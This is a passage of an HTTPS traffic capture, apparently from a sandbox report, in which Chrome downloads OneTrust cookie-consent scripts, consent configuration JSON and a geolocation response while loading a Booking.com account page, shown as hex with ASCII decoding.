56 32 47 65 6e 65 72 61 6c 56 65 6e 64 6f 72 73 22 3a 74 72 75 65 2c 22 Data Ascii: ue,"CookieV2VendorServiceScript":true,"ConsentStoreConsentStrings":true,"CookieV2AssignTemplateRule":true,"MobileAuthenticatedConsents":true,"CookieV2GCMDMA":true,"CookiesSameSiteNone":true,"CookieV2RemoveSettingsIcon":true,"CookieV2GeneralVendors":true,"
2024-11-02 13:00:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49753	104.18.87.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:13 UTC	369	OUT	GET /scripttemplates/otSDKStub.js HTTP/1.1 Host: cdn.cookielaw.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:13 UTC	859	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:13 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-MD5: qVqAwzZMp5y69q24H0KNhg== Last-Modified: Thu, 31 Oct 2024 19:22:01 GMT x-ms-request-id: 6717472a-101e-0057-2a7a-2c7a07000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21305 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 8dc44e68e8046c5e-DFW
2024-11-02 13:00:13 UTC	510	IN	Data Raw: 35 37 61 65 0d 0a 76 61 72 20 4f 6e 65 54 72 75 73 74 53 74 75 62 3d 28 74 3d 3e 7b 76 61 72 20 61 2c 6f 2c 72 2c 65 2c 6c 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 4f 70 74 61 6e 6f 6e 43 6f 6e 73 65 6e 74 22 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 74 6d 6c 47 72 6f 75 70 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 6f 73 74 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 67 65 6e 56 65 6e 64 6f 72 73 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 76 65 6e 64 6f 72 73 53 65 72 76 69 63 65 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 49 41 42 43 6f 6f 6b 69 65 56 61 6c 75 65 3d 22 22 2c 74 68 69 73 2e 6f 6e 65 54 72 75 73 74 49 41 42 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 65 75 70 75 Data Ascii: 57aevar OneTrustStub=(t=>{var a,o,r,e,l=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.vendorsServiceData=[],this.IABCookieValue="",this.oneTrustIABCookieName="eupu
2024-11-02 13:00:13 UTC	1369	IN	Data Raw: 22 2c 22 53 49 22 2c 22 53 4b 22 2c 22 46 49 22 2c 22 53 45 22 2c 22 47 42 22 2c 22 48 52 22 2c 22 4c 49 22 2c 22 4e 4f 22 2c 22 49 53 22 5d 2c 74 68 69 73 2e 73 74 75 62 46 69 6c 65 4e 61 6d 65 3d 22 6f 74 53 44 4b 53 74 75 62 22 2c 74 68 69 73 2e 44 41 54 41 46 49 4c 45 41 54 54 52 49 42 55 54 45 3d 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 2c 74 68 69 73 2e 62 61 6e 6e 65 72 53 63 72 69 70 74 4e 61 6d 65 3d 22 6f 74 42 61 6e 6e 65 72 53 64 6b 2e 6a 73 22 2c 74 68 69 73 2e 64 6f 6d 50 75 72 69 66 79 53 63 72 69 70 74 4e 61 6d 65 3d 22 6f 74 44 6f 6d 50 75 72 69 66 79 2e 6a 73 22 2c 74 68 69 73 2e 6d 6f 62 69 6c 65 4f 6e 6c 69 6e 65 55 52 4c 3d 5b 5d 2c 74 68 69 73 2e 69 73 4d 69 67 72 61 74 65 64 55 52 4c 3d 21 31 2c 74 68 69 73 2e 6d Data Ascii: ","SI","SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.domPurifyScriptName="otDomPurify.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.m
2024-11-02 13:00:13 UTC	1369	IN	Data Raw: 6e 29 69 66 28 2f 3a 2f 2e 74 65 73 74 28 69 5b 6e 5d 29 29 7b 69 66 28 21 28 61 3d 69 5b 6e 5d 2e 73 70 6c 69 74 28 2f 3a 28 2e 2b 29 2f 29 29 5b 31 5d 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 65 5b 74 68 69 73 2e 63 61 6d 65 6c 69 7a 65 28 61 5b 30 5d 29 5d 3d 61 5b 31 5d 2e 74 72 69 6d 28 29 7d 72 65 74 75 72 6e 20 65 7d 2c 69 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 69 6d 70 6c 65 6d 65 6e 74 54 68 65 50 6f 6c 79 66 69 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 2c 6f 3d 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3b 72 65 74 75 72 6e 20 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3d 66 75 6e Data Ascii: n)if(/:/.test(i[n])){if(!(a=i[n].split(/:(.+)/))[1])return null;e[this.camelize(a[0])]=a[1].trim()}return e},i);function i(){var t=this;this.implementThePolyfill=function(){var a=t,o=Element.prototype.setAttribute;return Element.prototype.setAttribute=fun
2024-11-02 13:00:13 UTC	1369	IN	Data Raw: 65 73 73 61 67 65 48 61 6e 64 6c 65 72 2c 21 31 29 2c 73 2e 61 64 64 46 72 61 6d 65 28 73 2e 4c 4f 43 41 54 4f 52 5f 4e 41 4d 45 29 29 7d 2c 74 68 69 73 2e 72 65 6d 6f 76 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 64 65 6c 65 74 65 20 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 69 66 72 61 6d 65 5b 6e 61 6d 65 3d 22 2b 73 2e 4c 4f 43 41 54 4f 52 5f 4e 41 4d 45 2b 22 5d 22 29 5b 30 5d 3b 74 26 26 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 7d 2c 74 68 69 73 2e 65 78 65 63 75 74 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 Data Ascii: essageHandler,!1),s.addFrame(s.LOCATOR_NAME))},this.removeGppApi=function(){delete s.win.__gpp;var t=document.querySelectorAll("iframe[name="+s.LOCATOR_NAME+"]")[0];t&&t.parentElement.removeChild(t)},this.executeGppApi=function(){for(var t=[],e=0;e<argume
2024-11-02 13:00:13 UTC	1369	IN	Data Raw: 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 29 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 2c 65 2e 6e 61 6d 65 3d 74 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6c 65 22 2c 22 47 50 50 20 4c 6f 63 61 74 6f 72 22 29 2c 69 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 2e 61 64 64 46 72 61 6d 65 28 74 29 7d 2c 35 29 29 2c 21 6e 7d 2c 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 69 2c 6e 3d 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 72 65 74 75 72 6e 20 6e 2e 65 76 65 6e 74 73 3d 6e 2e 65 76 65 6e 74 73 7c 7c 5b 5d 2c 6e 75 Data Ascii: reateElement("iframe")).style.cssText="display:none",e.name=t,e.setAttribute("title","GPP Locator"),i.body.appendChild(e)):setTimeout(function(){s.addFrame(t)},5)),!n},this.addEventListener=function(t,e){var i,n=s.win.__gpp;return n.events=n.events\|\|[],nu
2024-11-02 13:00:13 UTC	1369	IN	Data Raw: 63 79 28 22 6f 74 2d 74 72 75 73 74 65 64 2d 74 79 70 65 2d 70 6f 6c 69 63 79 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 44 4f 4d 50 75 72 69 66 79 2e 73 61 6e 69 74 69 7a 65 28 74 29 7d 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 44 4f 4d 50 75 72 69 66 79 2e 73 61 6e 69 74 69 7a 65 28 74 29 7d 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 69 3d 5b 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2c 6e 2e 68 6f 73 74 6e 61 6d 65 5d 3b 74 72 79 7b 65 3d 6e 65 77 20 55 52 4c 28 74 2c 6c 6f 63 61 74 69 6f 6e 2e 6f 72 69 Data Ascii: cy("ot-trusted-type-policy",{createHTML:function(t){return window.DOMPurify.sanitize(t)},createScript:function(t){return window.DOMPurify.sanitize(t)},createScriptURL:function(t){var e,i=[document.location.hostname,n.hostname];try{e=new URL(t,location.ori
2024-11-02 13:00:13 UTC	1369	IN	Data Raw: 3d 6c 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 70 72 65 76 69 65 77 2d 6d 6f 64 65 22 29 2c 74 68 69 73 2e 6f 74 46 65 74 63 68 28 6c 2e 62 61 6e 6e 65 72 44 61 74 61 50 61 72 65 6e 74 55 52 4c 2c 74 68 69 73 2e 67 65 74 4c 6f 63 61 74 69 6f 6e 2e 62 69 6e 64 28 74 68 69 73 29 29 7d 2c 66 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 44 6f 6d 61 69 6e 49 66 42 75 6c 6b 44 6f 6d 61 69 6e 45 6e 61 62 6c 65 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 26 26 74 2e 54 65 6e 61 6e 74 46 65 61 74 75 72 65 73 2c 69 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2c 6e 3d 74 2e 44 6f 6d 61 69 6e 2c 61 3d 74 2e 42 75 6c 6b 44 6f 6d 61 69 6e 43 68 65 63 Data Ascii: =l.stubScriptElement.getAttribute("data-preview-mode"),this.otFetch(l.bannerDataParentURL,this.getLocation.bind(this))},f.prototype.setDomainIfBulkDomainEnabled=function(t){var e=t&&t.TenantFeatures,i=window.location.hostname,n=t.Domain,a=t.BulkDomainChec
2024-11-02 13:00:13 UTC	1369	IN	Data Raw: 69 74 28 22 3b 22 29 5b 30 5d 2c 69 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 31 5d 2c 74 68 69 73 2e 73 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 65 2c 69 29 2c 74 68 69 73 2e 61 64 64 42 61 6e 6e 65 72 53 44 4b 53 63 72 69 70 74 28 74 29 29 3a 74 68 69 73 2e 67 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 74 29 7d 2c 66 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 6e 64 6c 65 42 75 6c 6b 44 6f 6d 61 69 6e 4d 67 6d 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 26 26 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 62 75 6c 6b 44 6f 6d 61 69 6e 4d 67 6d 74 45 6e 61 62 6c 65 64 22 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 2e 69 73 56 61 6c 69 64 29 Data Ascii: it(";")[0],i=i.split(";")[1],this.setGeoLocation(e,i),this.addBannerSDKScript(t)):this.getGeoLocation(t)},f.prototype.handleBulkDomainMgmt=function(t,e){window.sessionStorage&&window.sessionStorage.setItem("bulkDomainMgmtEnabled",JSON.stringify(t.isValid)
2024-11-02 13:00:13 UTC	1369	IN	Data Raw: 20 6f 3d 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 26 26 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 6f 74 50 72 65 76 69 65 77 44 61 74 61 22 29 3b 69 66 28 6e 65 77 20 52 65 67 45 78 70 28 22 5e 66 69 6c 65 3a 2f 2f 22 2c 22 69 22 29 2e 74 65 73 74 28 74 29 29 74 68 69 73 2e 6f 74 46 65 74 63 68 4f 66 66 6c 69 6e 65 46 69 6c 65 28 74 2c 69 29 3b 65 6c 73 65 20 69 66 28 30 3c 3d 74 2e 69 6e 64 65 78 4f 66 28 22 2f 63 6f 6e 73 65 6e 74 2f 22 29 26 26 74 68 69 73 2e 70 72 65 76 69 65 77 4d 6f 64 65 26 26 6f 29 7b 6f 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 6f 29 2e 64 6f 6d 61 69 6e 4a 73 6f 6e 3b 69 28 6f 29 7d 65 6c 73 65 7b 6c 2e 6d 6f 62 69 6c 65 4f 6e 6c 69 6e 65 55 52 4c 2e 70 75 73 68 Data Ascii: o=window.sessionStorage&&window.sessionStorage.getItem("otPreviewData");if(new RegExp("^file://","i").test(t))this.otFetchOfflineFile(t,i);else if(0<=t.indexOf("/consent/")&&this.previewMode&&o){o=JSON.parse(o).domainJson;i(o)}else{l.mobileOnlineURL.push
2024-11-02 13:00:13 UTC	1369	IN	Data Raw: 28 76 61 72 20 73 3d 61 2e 73 74 61 74 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 72 3d 61 2e 63 6f 75 6e 74 72 79 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 75 3d 30 3b 75 3c 74 2e 52 75 6c 65 53 65 74 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 69 66 28 21 30 3d 3d 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 2e 47 6c 6f 62 61 6c 29 6e 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 3b 65 6c 73 65 7b 76 61 72 20 70 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 2e 53 74 61 74 65 73 3b 69 66 28 70 5b 72 5d 26 26 30 3c 3d 70 5b 72 5d 2e 69 6e 64 65 78 4f 66 28 73 29 29 7b 69 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 3b 62 72 65 61 6b 7d 30 3c 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 2e 43 6f 75 6e 74 72 69 65 73 2e 69 6e 64 65 78 4f 66 28 72 29 26 26 28 65 3d 74 2e 52 75 6c 65 53 65 Data Ascii: (var s=a.state.toLowerCase(),r=a.country.toLowerCase(),u=0;u<t.RuleSet.length;u++)if(!0===t.RuleSet[u].Global)n=t.RuleSet[u];else{var p=t.RuleSet[u].States;if(p[r]&&0<=p[r].indexOf(s)){i=t.RuleSet[u];break}0<=t.RuleSet[u].Countries.indexOf(r)&&(e=t.RuleSe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49755	104.18.87.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:14 UTC	427	OUT	GET /consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/a387750c-a080-4dd0-b2d1-7dbdb601bb14.json HTTP/1.1 Host: cdn.cookielaw.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:14 UTC	982	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:14 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Ray: 8dc44e6d8df7e530-DFW CF-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 43792 Cache-Control: public, max-age=86400 Expires: Sun, 03 Nov 2024 13:00:14 GMT Last-Modified: Tue, 17 Sep 2024 13:58:38 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: Accept-Encoding Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Content-MD5: chYtm/6rcAlXuroFJihj9A== Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 6f40e519-501e-003d-6a4d-2626ac000000 x-ms-version: 2009-09-19 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare
2024-11-02 13:00:14 UTC	387	IN	Data Raw: 31 39 63 37 0d 0a 7b 22 43 6f 6f 6b 69 65 53 50 41 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 43 6f 6f 6b 69 65 53 61 6d 65 53 69 74 65 4e 6f 6e 65 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 43 53 50 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 4d 75 6c 74 69 56 61 72 69 61 6e 74 54 65 73 74 69 6e 67 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 55 73 65 56 32 22 3a 74 72 75 65 2c 22 4d 6f 62 69 6c 65 53 44 4b 22 3a 66 61 6c 73 65 2c 22 53 6b 69 70 47 65 6f 6c 6f 63 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 53 63 72 69 70 74 54 79 70 65 22 3a 22 50 52 4f 44 55 43 54 49 4f 4e 22 2c 22 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 38 2e 31 2e 30 22 2c 22 4f 70 74 61 6e 6f 6e 44 61 74 61 4a 53 4f 4e 22 3a 22 61 33 38 37 37 Data Ascii: 19c7{"CookieSPAEnabled":false,"CookieSameSiteNoneEnabled":true,"CookieV2CSPEnabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"MobileSDK":false,"SkipGeolocation":false,"ScriptType":"PRODUCTION","Version":"202408.1.0","OptanonDataJSON":"a3877
2024-11-02 13:00:14 UTC	1369	IN	Data Raw: 63 6b 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 6f 6f 6b 69 65 73 2d 64 61 74 61 2e 6f 6e 65 74 72 75 73 74 2e 69 6f 2f 62 61 6e 6e 65 72 73 64 6b 2f 76 31 2f 64 6f 6d 61 69 6e 67 72 6f 75 70 63 68 65 63 6b 22 2c 22 52 75 6c 65 53 65 74 22 3a 5b 7b 22 49 64 22 3a 22 30 31 39 31 66 66 62 32 2d 30 32 32 34 2d 37 36 31 34 2d 38 39 61 39 2d 63 65 34 62 65 63 63 34 39 37 37 35 22 2c 22 4e 61 6d 65 22 3a 22 55 53 22 2c 22 43 6f 75 6e 74 72 69 65 73 22 3a 5b 22 75 73 22 5d 2c 22 53 74 61 74 65 73 22 3a 7b 7d 2c 22 4c 61 6e 67 75 61 67 65 53 77 69 74 63 68 65 72 50 6c 61 63 65 68 6f 6c 64 65 72 22 3a 7b 22 6e 6f 22 3a 22 6e 6f 22 2c 22 68 69 22 3a 22 68 69 22 2c 22 64 65 22 3a 22 64 65 22 2c 22 72 75 22 3a 22 72 75 22 2c 22 66 69 22 3a 22 66 69 22 2c 22 65 6e Data Ascii: ckUrl":"https://cookies-data.onetrust.io/bannersdk/v1/domaingroupcheck","RuleSet":[{"Id":"0191ffb2-0224-7614-89a9-ce4becc49775","Name":"US","Countries":["us"],"States":{},"LanguageSwitcherPlaceholder":{"no":"no","hi":"hi","de":"de","ru":"ru","fi":"fi","en
2024-11-02 13:00:14 UTC	1369	IN	Data Raw: 6e 6f 22 2c 22 68 69 22 3a 22 68 69 22 2c 22 64 65 22 3a 22 64 65 22 2c 22 72 75 22 3a 22 72 75 22 2c 22 66 69 22 3a 22 66 69 22 2c 22 65 6e 2d 75 73 22 3a 22 65 6e 2d 75 73 22 2c 22 62 67 22 3a 22 62 67 22 2c 22 6c 74 22 3a 22 6c 74 22 2c 22 6c 76 22 3a 22 6c 76 22 2c 22 68 72 22 3a 22 68 72 22 2c 22 66 72 22 3a 22 66 72 22 2c 22 68 75 22 3a 22 68 75 22 2c 22 64 65 66 61 75 6c 74 22 3a 22 65 6e 22 2c 22 75 6b 22 3a 22 75 6b 22 2c 22 6b 61 22 3a 22 6b 61 22 2c 22 73 6b 22 3a 22 73 6b 22 2c 22 73 6c 22 3a 22 73 6c 22 2c 22 69 64 22 3a 22 69 64 22 2c 22 63 61 22 3a 22 63 61 22 2c 22 73 72 22 3a 22 73 72 22 2c 22 73 76 22 3a 22 73 76 22 2c 22 6b 6f 22 3a 22 6b 6f 22 2c 22 7a 68 2d 74 77 22 3a 22 7a 68 2d 74 77 22 2c 22 7a 68 2d 68 6b 22 3a 22 7a 68 2d 68 6b Data Ascii: no","hi":"hi","de":"de","ru":"ru","fi":"fi","en-us":"en-us","bg":"bg","lt":"lt","lv":"lv","hr":"hr","fr":"fr","hu":"hu","default":"en","uk":"uk","ka":"ka","sk":"sk","sl":"sl","id":"id","ca":"ca","sr":"sr","sv":"sv","ko":"ko","zh-tw":"zh-tw","zh-hk":"zh-hk
2024-11-02 13:00:14 UTC	1369	IN	Data Raw: 64 7a 22 2c 22 75 6d 22 2c 22 65 63 22 2c 22 65 67 22 2c 22 65 68 22 2c 22 75 79 22 2c 22 75 7a 22 2c 22 76 61 22 2c 22 65 72 22 2c 22 76 63 22 2c 22 65 74 22 2c 22 76 65 22 2c 22 76 67 22 2c 22 76 69 22 2c 22 76 6e 22 2c 22 76 75 22 2c 22 66 6a 22 2c 22 66 6b 22 2c 22 66 6d 22 2c 22 66 6f 22 2c 22 77 66 22 2c 22 67 61 22 2c 22 77 73 22 2c 22 67 64 22 2c 22 67 67 22 2c 22 67 68 22 2c 22 67 69 22 2c 22 67 6c 22 2c 22 67 6d 22 2c 22 67 6e 22 2c 22 67 71 22 2c 22 67 73 22 2c 22 67 74 22 2c 22 67 75 22 2c 22 67 77 22 2c 22 67 79 22 2c 22 78 6b 22 2c 22 68 6b 22 2c 22 68 6d 22 2c 22 68 6e 22 2c 22 68 74 22 2c 22 79 65 22 2c 22 69 64 22 2c 22 69 6c 22 2c 22 69 6d 22 2c 22 69 6e 22 2c 22 69 6f 22 2c 22 7a 61 22 2c 22 69 71 22 2c 22 69 72 22 2c 22 7a 6d 22 2c 22 Data Ascii: dz","um","ec","eg","eh","uy","uz","va","er","vc","et","ve","vg","vi","vn","vu","fj","fk","fm","fo","wf","ga","ws","gd","gg","gh","gi","gl","gm","gn","gq","gs","gt","gu","gw","gy","xk","hk","hm","hn","ht","ye","id","il","im","in","io","za","iq","ir","zm","
2024-11-02 13:00:14 UTC	1369	IN	Data Raw: 74 72 75 65 2c 22 49 73 47 50 50 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 4a 57 54 41 75 74 68 46 6f 72 4b 6e 6f 77 6e 55 73 65 72 73 22 3a 66 61 6c 73 65 7d 5d 2c 22 49 61 62 44 61 74 61 22 3a 7b 22 63 6f 6f 6b 69 65 56 65 72 73 69 6f 6e 22 3a 22 31 22 2c 22 63 72 65 61 74 65 64 54 69 6d 65 22 3a 22 32 30 32 34 2d 30 39 2d 31 37 54 31 33 3a 35 38 3a 33 37 2e 32 36 32 34 36 31 35 38 35 22 2c 22 75 70 64 61 74 65 64 54 69 6d 65 22 3a 22 32 30 32 34 2d 30 39 2d 31 37 54 31 33 3a 35 38 3a 33 37 2e 32 36 32 34 36 36 39 34 35 22 2c 22 63 6d 70 49 64 22 3a 22 32 38 22 2c 22 63 6d 70 56 65 72 73 69 6f 6e 22 3a 22 31 22 2c 22 63 6f 6e 73 65 6e 74 53 63 72 65 65 6e 22 3a 22 31 22 2c 22 63 6f 6e 73 65 6e 74 4c 61 6e 67 75 61 67 65 22 3a 6e Data Ascii: true,"IsGPPEnabled":false,"EnableJWTAuthForKnownUsers":false}],"IabData":{"cookieVersion":"1","createdTime":"2024-09-17T13:58:37.262461585","updatedTime":"2024-09-17T13:58:37.262466945","cmpId":"28","cmpVersion":"1","consentScreen":"1","consentLanguage":n
2024-11-02 13:00:14 UTC	744	IN	Data Raw: 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 56 65 6e 64 6f 72 53 65 72 76 69 63 65 53 63 72 69 70 74 22 3a 74 72 75 65 2c 22 43 6f 6e 73 65 6e 74 53 74 6f 72 65 43 6f 6e 73 65 6e 74 53 74 72 69 6e 67 73 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 41 73 73 69 67 6e 54 65 6d 70 6c 61 74 65 52 75 6c 65 22 3a 74 72 75 65 2c 22 4d 6f 62 69 6c 65 41 75 74 68 65 6e 74 69 63 61 74 65 64 43 6f 6e 73 65 6e 74 73 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 47 43 4d 44 4d 41 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 73 53 61 6d 65 53 69 74 65 4e 6f 6e 65 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 52 65 6d 6f 76 65 53 65 74 74 69 6e 67 73 49 63 6f 6e 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 47 65 6e 65 72 61 6c 56 65 6e 64 6f 72 73 22 3a 74 72 75 65 2c Data Ascii: rue,"CookieV2VendorServiceScript":true,"ConsentStoreConsentStrings":true,"CookieV2AssignTemplateRule":true,"MobileAuthenticatedConsents":true,"CookieV2GCMDMA":true,"CookiesSameSiteNone":true,"CookieV2RemoveSettingsIcon":true,"CookieV2GeneralVendors":true,
2024-11-02 13:00:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49756	172.64.155.119	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:14 UTC	605	OUT	GET /cookieconsentpub/v1/geo/location HTTP/1.1 Host: geolocation.onetrust.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://account.booking.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:14 UTC	370	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:14 GMT Content-Type: application/json Content-Length: 66 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: GET, OPTIONS Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8dc44e6daf9c0ba1-DFW
